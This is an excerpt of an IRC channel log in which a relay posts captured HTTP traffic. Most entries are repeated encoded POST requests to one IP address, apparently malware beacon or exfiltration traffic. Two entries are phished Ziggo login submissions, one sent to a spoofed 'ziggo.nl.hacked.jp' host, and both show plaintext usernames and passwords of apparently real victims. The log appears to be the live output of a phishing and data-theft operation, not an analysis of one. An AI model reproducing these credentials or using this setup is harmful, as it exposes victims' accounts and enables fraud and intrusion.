  3374. [12:43] <HTTP> Accept-Language: nl-NL,en-US;q=0.8
  3375. [12:43] <HTTP> X-Requested-With: de.twokit.castbrowser
  3376. [12:43] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Lambert0410&userId=Lambert0410&password=derips580&button=
  3377. [12:44] <HTTP> Socket initiated: 71.235.124.202
  3378. [12:44] <HTTP> POST / HTTP/1.1
  3379. [12:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  3380. [12:44] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3381. [12:44] <HTTP> Host: 172.86.120.218
  3382. [12:44] <HTTP> Content-Length: 416
  3383. [12:44] <HTTP> Cache-Control: no-cache
  3384. [12:44] <HTTP> FvBckomaMZUALbp/OQ5zLobJqn6FA6bc09R0Jl1iGfopFl7tiTUuFY8rRYi/v7LDgojsaHPmAsyphp9NyR13ASYVHDKj1kwVncW782c6K5QdD/jN1ZgpofILmUWVLpKFEc9yFTOV+oloqSJ0coiXxyg5YMQ1sm9zGe3XtFcUt+3rhNXbpTYShFz0qNZ96PSHBPwG2iNs+ZQUXHmcbn3M39/es7KtHnA9wNxdMEC5nionhhh5e+w6vJYL5MIjuWZlj87jM9MpY0WTIiPC1wis6pj2Fuy6LCpn67i+eN3vVBEzwwOy7mgUtmPVWc3QtLf3YDRkCBz+exp4U15knVfzbXaWU4yx/wjEHbiiqk0ZWw+GpM87+twsX29OYc7JddSVAd+7McMjVTmZ3Z
  3385. [12:44] <HTTP> MJsTgN1Te3Rc9UPbS5
  3386. [12:46] <HTTP> Socket initiated: 71.235.124.202
  3387. [12:46] <HTTP> POST / HTTP/1.1
  3388. [12:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  3389. [12:46] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3390. [12:46] <HTTP> Host: 172.86.120.218
  3391. [12:46] <HTTP> Content-Length: 424
  3392. [12:46] <HTTP> Cache-Control: no-cache
  3393. [12:46] <HTTP> QacKwtrIY9vTPfpnRdBzHudZ7AxZuysnprNmfCpjF8KL8XhnLyPuFjIpORQEeQVeurVD4aLFc4guemX6yyz9uwnLMDGNPsFImAJejYM5v+X6VPbpIscr9ZzqvM68rIIkKICv/VHia90ka23QYLNt9ByJ9WWG2nOJ6HYfc0kSLrvBYgoIdU2bXrXsXHbD1nm8biA/aCQ7BKwy+fse68Oecgs7IV3nIbAWwDnoyS2ufZ+Zmz+xM/E3UdKLUsq2jR6kG6yXa9++bX8jPTtziR4IIQE9vN8B7DqmrCaIiTcYOIkjVVyvfIoFFsNltWGU0Kftpy6gPFIetZ1q8Go8Skg8XLLY24fWf0ieMZ8LI06wHbSqE2ga85ckaz29TkiccUAkccm2LkpCL0Qpb4
  3394. [12:46] <HTTP> aJRUKJO7TrdBe/iMVVg3rWEg==
  3395. [12:48] <HTTP> Socket initiated: 71.235.124.202
  3396. [12:48] <HTTP> POST / HTTP/1.1
  3397. [12:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  3398. [12:48] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3399. [12:48] <HTTP> Host: 172.86.120.218
  3400. [12:48] <HTTP> Content-Length: 404
  3401. [12:48] <HTTP> Cache-Control: no-cache
  3402. [12:48] <HTTP> S6NcxducNl/hrcBX7Hy1MF+QD6Ism4whNV5O5iEqbiQbqunEugjMT8jFcooyyz2pa1jL5OWFpwpN2Lxa3ZyHszFD3DGYmclDwxiaF3YbwHOk9vdnmPJYrJdAutgjoBpuJmB4LHCyWOcfG4OUthFRKZd3huoIVqkPnEXVGnMh4VpSQPkkcSq1nXJ0DtOqxou9Hc6HDpxPMqfiMR+XRraguEe/3fzPnyKLdzGnITLI81EOuH3EVwG9LrTPblpbNnkJlRYw4e6w6fOEMnasg71p6X9lbY1eFHNUXbAdIMTZoDOIAp5MpoK36Qlch77HaUge+3piztvE2Hotpew80XOZDnpwxdQ6Oi87snZb0PTc0PzRIeIY+StNMBTl1ny6H/bmtQV1X6knY9yQsrAoDxc=
  3403. [12:50] <HTTP> Socket initiated: 71.235.124.202
  3404. [12:50] <HTTP> POST / HTTP/1.1
  3405. [12:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  3406. [12:50] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3407. [12:50] <HTTP> Host: 172.86.120.218
  3408. [12:50] <HTTP> Content-Length: 440
  3409. [12:50] <HTTP> Cache-Control: no-cache
  3410. [12:50] <HTTP> QKALkt7OMJNjaf6VFsz9WbNCfepILeqNNhUcnkahzlN0cL1q+GT2UpfnSS1uu2NQr+T9OV+OXM3SpV5sjkpbhbgvAJ+SglRtLKdR6vVQUN3K1MsAaZVZxmNZ8I0/Zgq6+qAvY/S6tfVaccW6Q4dv7ICPJfCvFxstfooX9t6YHrqn7vcJFJZoOESMct3IhpN3NLDPAroWQnSgpOVCkRW+UKTn5Y5ILTx7irw6yNdQ6dsDvXp2/D2L6zY8aHl2smCIUbb2YDvE/L3HyZrwUFOBIThdP+x7kToLvumLMRpQlNhL+LuybmNuOvKGOF80FmZemRn2xbYIxKnih8YZYUU8x78cFi2QUdWQ4LHqewAWktbyAWCZIe2PPhomco7J987ip9bISW9/XOAQmv
  3411. [12:50] <HTTP> GbWUXm1IAPO7wrUvpiJF5gEVumpwe0XUJQ/NHizlzC
  3412. [12:52] <HTTP> Socket initiated: 71.235.124.202
  3413. [12:52] <HTTP> POST / HTTP/1.1
  3414. [12:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  3415. [12:52] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3416. [12:52] <HTTP> Host: 172.86.120.218
  3417. [12:52] <HTTP> Content-Length: 436
  3418. [12:52] <HTTP> Cache-Control: no-cache
  3419. [12:52] <HTTP> RPFdktqZbWbSwIkLLiTF54Q4v0cU0IvtwkY9sScplH+Cqn6w3s68UEnZSz+lnZf3Ox9oKXhcmO8CFmTXoPLo2pI1Om0dhq1GqhEgetUdgtb1w0H2l1M2kWg9LzeHgK33MdzUL7PFSRvQrGZAIP77ixi3POE1ekEcVkVWjHUL9pK+IXUcgUlcyU05sfRjYqdJpIxWh6w5dKh/X/WprcHbMOHF2DG6z389SW4ltV/P5iDV5dWwZ4NffbYyy5E3oCUa7DmKglXi4hBS85evjI4pcon90SKpERTLw0a5nD2rKny4U4z+nGF5N4ojvVGejppBHv0Qo1VT8+0YMbAOt42Uk04O0vabHj8b3yaVECMXw8W3wNJzxrz07MsU3SUEGFc6aggCANLtSseEpj
  3420. [12:52] <HTTP> zvG7kdl2onrxPeqbP6LVVbj7ca8Un+UIqmzzw=
  3421. [12:54] <HTTP> Socket initiated: 71.235.124.202
  3422. [12:54] <HTTP> POST / HTTP/1.1
  3423. [12:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  3424. [12:54] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3425. [12:54] <HTTP> Host: 172.86.120.218
  3426. [12:54] <HTTP> Content-Length: 372
  3427. [12:54] <HTTP> Cache-Control: no-cache
  3428. [12:54] <HTTP> F6BckNjLZLCVPS9lycJEp3LaxN4TdV0jtebb3EYYzWr6jDKB0uuRECUiTInAttGp8itPh0pQDf9nNd+x92n+aPp9Allxss5WkX9T4Beo9TcwQVpyMVfrxKe62XdmMtajgI5WiQh8V0JG+pccaqWVM2zsJBoUJbXdgqJotBT8iG6WsFnt6GFo3F+Azq5rAsQVPnappIP7SHyy1AloXUspksmhjkOW7N8hYMzTyFtNr8/1zo98GUvv9Vq/1bK4Y7tHMZglMnU3GNAjOQygMdcCMaw+fbekb5+CAiPz2ZHXra/xmzj/zaLulGARCTETD/0TGJODaE5TdCMJoFLJt/zxCoMuGTzQSq1whv7WMKzXyFt+bfMfWw==
  3429. [12:56] <HTTP> Socket initiated: 71.235.124.202
  3430. [12:56] <HTTP> POST / HTTP/1.1
  3431. [12:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  3432. [12:56] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3433. [12:56] <HTTP> Host: 172.86.120.218
  3434. [12:56] <HTTP> Content-Length: 384
  3435. [12:56] <HTTP> Cache-Control: no-cache
  3436. [12:56] <HTTP> Ra1cl9nBNkOzB7b6bCMwQU+Dy2FB+oXp3GzpUU1Po9oplmbG4u90JjILU/34+QIl4McnxPzI6+lrgHdqrtGKShxR0iSPTyvFH50rnfN6MWeJZHtGYcQISxhSKlUz0mPzYGvGcMfGoL5+ImJNc46KVzP5mBCUl0zwD0Pnnv+Zy0Y+qTUEvW8v0ZvoHBfLq5T6W34nv7508+ScySNTrll8oKYsw/oX5k8Oy5l8JyS5UktO/OsxClFMqbi98P0nAoY7thlF8AKfJWdPwmJeHmrnNtSBl7s/vLNzwzkgLXrGETKZ972Mtiw7LMhzjK0rZ5wjoMCoHhKxHBtOjyImV/VCsywtMOtstZ6HxHGfDOz/ClDY7vINqoxDTuT0fYr2uA==
  3437. [12:58] <HTTP> Socket initiated: 71.235.124.202
  3438. [12:58] <HTTP> POST / HTTP/1.1
  3439. [12:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  3440. [12:58] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3441. [12:58] <HTTP> Host: 172.86.120.218
  3442. [12:58] <HTTP> Content-Length: 396
  3443. [12:58] <HTTP> Cache-Control: no-cache
  3444. [12:58] <HTTP> QKFexticNWgkJHyvwG/TVaGLEm1QPC7OHz0wK0Q+CDqsWvcp/pbEWugZikWrZ3e7xbf756gQS7nJxtEetWdPhzcLXuOzo9JMhFEQRUsAz5V4PIjbKycQrH1dS8gEe79Bmu+HZY9J0jIWLY3olpfMT0OP23FJLZ1IgkRTIlSCjRIEkZlNFPgyQKp9JHqAt1ecLhDX8ZjYx9mMIFEvSgrJyPBq/exROXU963uKmF++BfYbYdmTvqSn8A+4hpggUF1ErML59yyHXmDkchbROQPDmXRefNohrIy50KZdm5B8gvbrMwIBMH2WdGS9JiSB2Z4ir/8nWSOZYcGXc/2aXgs+ECZnOw+jQBczfV3QLdDPnuf5WCbeGfsVqhTrUYiS+75ZUHWYGs6T1EMK
  3445. [13:00] <HTTP> Socket initiated: 71.235.124.202
  3446. [13:00] <HTTP> POST / HTTP/1.1
  3447. [13:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  3448. [13:00] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3449. [13:00] <HTTP> Host: 172.86.120.218
  3450. [13:00] <HTTP> Content-Length: 420
  3451. [13:00] <HTTP> Cache-Control: no-cache
  3452. [13:00] <HTTP> E6JeyI/NZJCMVE74rInsSABmxknw6KibEtM+mL6qUOB7Rx6YJkl1rJjdCw6GiVetgbb/5bPEJOsP6w5GcUVRYQqnM2d4bRp0j3nF+5smAVrIFpBigodPYHGxHFokIrWyp9zhmqt0FsGA+UCCKDIWKrKnhueibZPXqVqtSS/6kBVYVtsNERb5XmYpVSejHNfTRHu9M5W8xb/5ioP7tp1HWGkcKOelWRkFRsFDLWxQegT5IbooC15aTRo/POzx3ttzMgCkbjfWGiDoi4Hk66Bfsc0uJt2rttv9zAvKUbpqd00gQpwSvNqPic51tzJhJQ/49QGmRGnBLyBt1NXgmxwCM/bz9Po2pKUVISO89FrjZgSkNNY6Pq368OBcS0lP7cOqDMTZNU7NzvwrOd
  3453. [13:00] <HTTP> +g8Co18nLm5WzHFwjMdSb5
  3454. [13:02] <HTTP> Socket initiated: 71.235.124.202
  3455. [13:02] <HTTP> POST / HTTP/1.1
  3456. [13:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  3457. [13:02] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3458. [13:02] <HTTP> Host: 172.86.120.218
  3459. [13:02] <HTTP> Content-Length: 408
  3460. [13:02] <HTTP> Cache-Control: no-cache
  3461. [13:02] <HTTP> EPZZk4jMML9oxZX1jdLJz2BE5jzjfvWZqk7CbJiZ6XdXN0EdnT8lcmYB6v0+mVrWxJqoa30Sw0KrLCQPtG8SVp6ZKCbQY/C5t3xnINrZsN6owBnmR4Sapx/Qi5+vfyOX1y9Y0qKsFFzpaAS6P1IGANkvIsWbghAsc4FGR3yqk0xQaUItdxutz1PgIWMD1ChvbQwFwnyo8xrDDfqNPQgJLCZfhy94nT/tSjsSZzRfZSUA8G34p83o6mTK40fGJt6tkZhWfs9jGRxS5dt4zXvx5FqTKpzVdwcNwQlkgiyX2wIv7La2lW1Boi68nBKXNEwCEPQsuif/UP83ubgsDxaDpC6ScJ2uykJ0AibuaQOuh+bvWPkClllX0RaeQANPXKQhMqJOQGf7oyNCat43ZR0DfQ==
  3462. [13:04] <HTTP> Socket initiated: 71.235.124.202
  3463. [13:04] <HTTP> POST / HTTP/1.1
  3464. [13:04] <HTTP> Content-Type: application/x-www-form-urlencoded
  3465. [13:04] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3466. [13:04] <HTTP> Host: 172.86.120.218
  3467. [13:04] <HTTP> Content-Length: 404
  3468. [13:04] <HTTP> Cache-Control: no-cache
  3469. [13:04] <HTTP> FKUPx9jLZVSazJq08Q2DylhvCTEy7kfFYa9VXOS3cPSRfF7hI5Px6hN7dFsvjYGXeaebTNwpoZ/CeAQ1AHW1ZrsqmiwkQTAKWeMxINMhFXduzoQ3kpjyBSfSWssr6OKeWDtVN57uQCaTYIzQ85Ggu0pgle/3JDDxEpyLFC3Qbtg55lcsdQ2Aa1j96/6IYrsydG4gq010/e10vp2fiOIJxEg4WavfH5bArxozzL/tbOrk2Xozknojo1x7D/+fkgcv5JXWua9t4H8FHMQxwkKaJEq5xMCx/vHjU1NxvZJC1+YkWfcbsvl0qQB6Vcm5w8DQLc5JHYPGefvD9T1Q/GTQOJUy2Ho9B1J3wVbxmUvxrdTDouSfqQHO8YmvUMYqcPrJ0lElPLpuZQ190VFaBf4=
  3470. [13:06] <HTTP> Socket initiated: 71.235.124.202
  3471. [13:06] <HTTP> POST / HTTP/1.1
  3472. [13:06] <HTTP> Content-Type: application/x-www-form-urlencoded
  3473. [13:06] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3474. [13:06] <HTTP> Host: 172.86.120.218
  3475. [13:06] <HTTP> Content-Length: 392
  3476. [13:06] <HTTP> Cache-Control: no-cache
  3477. [13:06] <HTTP> Q/EMyYzJZwMrdfDiqWbMIewNn6pD2QI4HWA4ea0FYPbLL/vEkwpPKb4cBqPUMEczZAxBsGeZWPoiXamydRS89hv2xgg3XEsuzamk0zCFfVVrv22Q+xvhCJcpDxy4rv4oHeMAn/yj3pl26Ih+ftnGzBgnpGEqDPBHqrM1RyeTYwKG3bW4rDhrwYprcHPVsH3Ea+CaJYPQdkOWTBPIeX0r0/kyZiKJY/IYx2zH3ZNtTwN66omaynLrEd2Sr2YdpbfuhdDQLTz/FFCOIWUZort4Mdig4Z9ZB19A1qxJpKp3l3I8XpAKSN4e0ne5XmI/lb4eEsa83jODPknRfZw7sBMyX26j6xuN3IdIqD4805Pe7ZbFxcu6zVtXtcHNf/96zNZwiQ/Ljg==
  3478. [13:08] <HTTP> Socket initiated: 71.235.124.202
  3479. [13:08] <HTTP> POST / HTTP/1.1
  3480. [13:08] <HTTP> Content-Type: application/x-www-form-urlencoded
  3481. [13:08] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3482. [13:08] <HTTP> Host: 172.86.120.218
  3483. [13:08] <HTTP> Content-Length: 384
  3484. [13:08] <HTTP> Cache-Control: no-cache
  3485. [13:08] <HTTP> F/NfkNnBYv8mblDNQvuZ8qXyaThaGyRNDIEJxikA4Vusyu+Vldm9VwzA6LixNGICPG1/B1ezB1cFnvckQLnuofcB4p9WZOQX+vqDq8XYxnP44+Jx2CoRkvycyJwE237Z0oAvL6D0yrVI33TjzxEdcplBHWCrpjPC/D22hUYQdlZVLYEhKtRAzf3zuzOLpKg/rztu3Eh5aygjCYSpDtZaHqSC+vYgxSqe8TGFjuub1HfaknHoYLrYfAIfeH4U9T+837xw5mGE++vLHjfRrDdXWewyd7Gx1TQlz0Lq+c2fCGPqs7aCCu2p2yuOGH/dpjP8SIGaYSpRDfoydby5PMBOM3gPxH2k5SIokneyqDlEiITSO7u1RxbM1WarbqJAZds=
  3486. [13:08] <HTTP> Socket initiated: 84.104.245.153
  3487. [13:08] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3488. [13:08] <HTTP> Host: ziggo.nl.hacked.jp
  3489. [13:08] <HTTP> Connection: keep-alive
  3490. [13:08] <HTTP> Content-Length: 103
  3491. [13:08] <HTTP> Cache-Control: max-age=0
  3492. [13:08] <HTTP> Origin: http://219.93.200.189
  3493. [13:08] <HTTP> Upgrade-Insecure-Requests: 1
  3494. [13:08] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  3495. [13:08] <HTTP> Content-Type: application/x-www-form-urlencoded
  3496. [13:08] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3497. [13:08] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3498. [13:08] <HTTP> Accept-Encoding: gzip, deflate
  3499. [13:09] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  3500. [13:09] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=bennard&userId=bennard&password=b19e52n&button=
  3501. [13:10] <HTTP> Socket initiated: 71.235.124.202
  3502. [13:10] <HTTP> POST / HTTP/1.1
  3503. [13:10] <HTTP> Content-Type: application/x-www-form-urlencoded
  3504. [13:10] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3505. [13:10] <HTTP> Host: 172.86.120.218
  3506. [13:10] <HTTP> Content-Length: 420
  3507. [13:10] <HTTP> Cache-Control: no-cache
  3508. [13:10] <HTTP> QKQPxYjIZdbvgijCuyoGWXi2iAIie6PgXRhL2Y8E864GZTrgjs3OJ138jeTXZRIs/jLlIgMtcQeXnA9QOcfbAFllcXH0pH9Jrl2vrELFiN3Lt0ZuSotYlVRFSMkKnn+gk+uf9vOdywCFwcC0d6d3DoHcDuQvB+554nHzk+OG54tOFMdzuIPyX5ABY2IeDTRuZF/0ZOBha8LaLXBa3V7vLBRj6bBX18hkgm3JuAaBkTVwhqw4aJXFElMmQ0J6FFk0zFtIj091Amgf5Ga08j/BMRA6JAXZUnEMigl+26toRfyD9LIkYSi7AlmTEQ4ywQEguMOqbBqMobYfdzcXGhQ8xuZT90le/VvaqOyOSag3xdmOMWHABrKSJBIrwU/eir2wOuQuN34Noo+l+R
  3509. [13:10] <HTTP> L50Cso4kCnbs8OMASe7eU=
  3510. [13:12] <HTTP> Socket initiated: 71.235.124.202
  3511. [13:12] <HTTP> POST / HTTP/1.1
  3512. [13:12] <HTTP> Content-Type: application/x-www-form-urlencoded
  3513. [13:12] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3514. [13:12] <HTTP> Host: 172.86.120.218
  3515. [13:12] <HTTP> Content-Length: 364
  3516. [13:12] <HTTP> Cache-Control: no-cache
  3517. [13:12] <HTTP> RaIPl92dZL4hKm49Mv8MLVRY0EZL5H3iWUFqgxp6WOqD4fRT2bplUaKl9X63CD/Cw3p2QoVe6u89e3NyjHVpCDNcM/DQAeb0KOphVju+y4KZ8hz5/tCNJOzUZ11EZ6MphdpvSQVkzKv4f29SdjPqFuL2u3uIOXu2TouTMyyoAdC3KeS19XvqHiNsN73wG6okarSCQRdO2tjvGdMCvjhL4P290qQGZbWtMEFTyHEfywlB6RpA+FdpQGEWuoMqgqGYRkmRJmcFhzyYAg0J1m6hNV09TF/UuL2yxsu8OfUFPteuzPVm1NH0YVx2OP1mj8Idmcjc4iIDVYM3fWTuC4IUY1vjPRuN+q5el9ihT2wZP1c=
  3518. [13:14] <HTTP> Socket initiated: 71.235.124.202
  3519. [13:14] <HTTP> POST / HTTP/1.1
  3520. [13:14] <HTTP> Content-Type: application/x-www-form-urlencoded
  3521. [13:14] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3522. [13:14] <HTTP> Host: 172.86.120.218
  3523. [13:14] <HTTP> Content-Length: 380
  3524. [13:14] <HTTP> Cache-Control: no-cache
  3525. [13:14] <HTTP> FqNbk4/LYi9vGbl8xU4HTYSEEs2LLeWOau0T1C4hF5A46E7KzQHtXmRXtwA2C78gYJUeGOqYak7GYEiOfNUHYO+4joCULlHD5mfmkulb55Dt7svZO6BPusDa6QS71zHg+YlsPzUSowhZPsbj5sEdxtLpS93b/Y/8W1Hd3wRlvib9BOcPCSi33j9cTB9EWIFJXC1im3wkBytuBL+sGud6463IAs0JPAHo35iUdUhQLkXmZaivKD/EYyCeJVFWmj0Ya5rOfWiO7kHLf7Fp79cg+PC07Ho1kADcGDFZB8jtAujQOsLo35toNXFrVBF75Zf6CwQpjrDYA6KcyCRWu6jrd7Sdgb4IVo20RKSZjtB720rNv7aC0bEYyPhU9uqz
  3526. [13:16] <HTTP> Socket initiated: 71.235.124.202
  3527. [13:16] <HTTP> POST / HTTP/1.1
  3528. [13:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  3529. [13:16] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3530. [13:16] <HTTP> Host: 172.86.120.218
  3531. [13:16] <HTTP> Content-Length: 388
  3532. [13:16] <HTTP> Cache-Control: no-cache
  3533. [13:16] <HTTP> QKxblN+dZR1I/jsKnA0LfnrEIN5Tyh0E3Uetaiyc60JiACi0exrYuip3+OpIOuQ+3cb0DgZD8k3m/ZS0GymnOlBRd0IF+eCGegP7rhLKGVTw134PW8wsuyCa7owh4N8fMnEXX2Xm8mGAAKjvVqXxcCFZLQD6LCHFsN16z4c5KFcXqmW+mwJ+6l9hOkh8xurs/L0vfKeIBj4mIoAnMSII9Xdq2R0LvNxhlAr2VQixmERwmKn74IxsbqARGX1cpiaVS978K2dEtcxAeorU48TclueqoACHsc8++wgO7ywueFV0IJJA6oppROUrsQJQzypzkVbmW34D3n4Oo4uDl/yIHDpfayQGhVVciB12rnuX2Y+9YZu0mRIEZV57cxgwm+Le+w==
  3534. [13:18] <HTTP> Socket initiated: 71.235.124.202
  3535. [13:18] <HTTP> POST / HTTP/1.1
  3536. [13:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  3537. [13:18] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3538. [13:18] <HTTP> Host: 172.86.120.218
  3539. [13:18] <HTTP> Content-Length: 428
  3540. [13:18] <HTTP> Cache-Control: no-cache
  3541. 03[13:18] * independent (independen@97A00772.16DE410C.CE86F8AC.IP) has joined ##ss
  3542. [13:18] <HTTP> QadWwo7AZJWWY4j0mRUOpBcCD3UmoAHdrHcsgwPLFOH7YriPwSd3PzNpl/snh65Oz7aqpxSyqS9oK+J8Itt9tph1SwY/OwnrRj4J7RIhQboSzE0NyXOwyDeNzaPfhldz2bltTkRsjQlDiBP7KzTy3AGJK9mVcpNIp/qjWGNfgkV6fpQroR/76gUBEAV7X4m+WHbaXKWBn93auFyfQN/it7GroNAK5FK1VCh8JlWshG8Iy1YbfONS/BPWcXWECkak2g1O/oOi9XIIAVfLzX6SUfcByENbbx3g6UT7htHNbgNLFytnXF1+f8OG57guTxgm9eckEr5J7C7M1O4N6X3DVZS3Ukze3UPno3VCyuvc96fW1K8sHHos6goCBTpAj15m4EQ4yII5aonzrY
  3543. [13:18] <HTTP> QP8mF4f27e5EIfbdYx01wwxJzWOAU=
  3544. [13:20] <HTTP> Socket initiated: 71.235.124.202
  3545. [13:20] <HTTP> POST / HTTP/1.1
  3546. [13:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  3547. [13:20] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3548. [13:20] <HTTP> Host: 172.86.120.218
  3549. [13:20] <HTTP> Content-Length: 412
  3550. [13:20] <HTTP> Cache-Control: no-cache
  3551. [13:20] <HTTP> S/MLlI7IZKotmWxrZp8BAigGYfKyaKNDNZHw5wtUHfoUBkBY0YJB39DJOWHgzCbDaLttRMYXpJWVgp1TF7hdDOQF/4WvBPJkCypqGVdCLKUhgY/QaIuzMKgWmRrwFOCzN1Rid8UqGx4su6tA/S+Ve8CBGLruynSQe6MC3k1RtV7PdwHJ+SE2FYWIvbhDDJ8ad6ugUGOblgJaZ8Xws6EXzgsxCB2OGA+wlJg6dLyTjc4RKCK2+YQFSCZi0zxLQWNpd/0iEfFXKerlVmDfoYCj6JTrR8Z6fYQthe/ikEMoPsuFZe21i7VkX+iUpS/FeqeehkEqgen8wjayFfNHkWpxHON2GdnPLIzsa0FtZgAcKpKAaOI2VT9ELJNj2mHq+g6nApiUHPvpCdCJfF
  3552. [13:20] <HTTP> eyuLKh6hvjbQ==
  3553. [13:22] <HTTP> Socket initiated: 71.235.124.202
  3554. [13:22] <HTTP> POST / HTTP/1.1
  3555. [13:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  3556. [13:22] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3557. [13:22] <HTTP> Host: 172.86.120.218
  3558. [13:22] <HTTP> Content-Length: 408
  3559. [13:22] <HTTP> Cache-Control: no-cache
  3560. [13:22] <HTTP> FPFWwovJNT1fIRJC1r6WLUb7eNI6PT8K1Wtf3HWvuRwHoUywUpdWLPtafnqxXKQuhwrj+5Z+DvqY/dotuA0AJ23hhZbzdlC6LfRDaOFmYV5Qre5HTPA7/cSG7jjsgeXCPAWQuC3LQR5fcwL9FObF1VhhevgahLBaQzClUdYlam+ZClvRC8KanOaNnSvqCVrJgF+dL2mpgLlsL5iJ0YL/U0C9JhhEGjq6hyB8CaOOgu+rKjYC/JWH+6w59YkRjdE8nxT776eSNiiX4/7fzA+rc4JiDZdRrXFX3Tbb40hkYA4uvxaPS/SsVgr83ex8TFwLLUVp/XsLVD4WkOCKwaGXwplixDpWRe+8c0e42y+7OurKtugHg/dp6d/1yZYyvnn9jIXbt9OEW4r5pqkvuABMqQ==
  3561. [13:24] <HTTP> Socket initiated: 71.235.124.202
  3562. [13:24] <HTTP> POST / HTTP/1.1
  3563. [13:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  3564. [13:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3565. [13:24] <HTTP> Host: 172.86.120.218
  3566. [13:24] <HTTP> Content-Length: 396
  3567. [13:24] <HTTP> Cache-Control: no-cache
  3568. [13:24] <HTTP> R/dWwNrOYkP9EkkWMiVAji5m+18LfTw6rhSYqsWwk6vqZSyJTWApQrtgXV7xMvfok4B3hu1Q53dQne/F6ohNEEwloe0MhoBt+3VsnPsc1ftcf7xGlVpeR0ZnRBA4a24eYdyhAQknW9yuJrx2eF47nOJoZ7vHOjHybCiKW12BtE16hi5uehu/d528G0MxnRtvbAny16Lwds8T0ia5t5cX48Y3HDiT3DI+x/Fy1QF9dGgicqyD7UF1Gz1b/jLQXl1DkguPD/U5YNdmsTivFPIluu17tIdGZ/f2t5YmfYXvAKJD6tjw+zi0eY0PMcuHSAdwC00UlLu9K32sMD9GnnkQGW4ykrVgw3Rf6Z9HWC7asNCVsc8u7bt/pIlLLM0dhkmYiROzY+/Y4Q==
  3569. [13:26] <HTTP> Socket initiated: 71.235.124.202
  3570. [13:26] <HTTP> POST / HTTP/1.1
  3571. [13:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  3572. [13:26] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3573. [13:26] <HTTP> Host: 172.86.120.218
  3574. [13:26] <HTTP> Content-Length: 380
  3575. [13:26] <HTTP> Cache-Control: no-cache
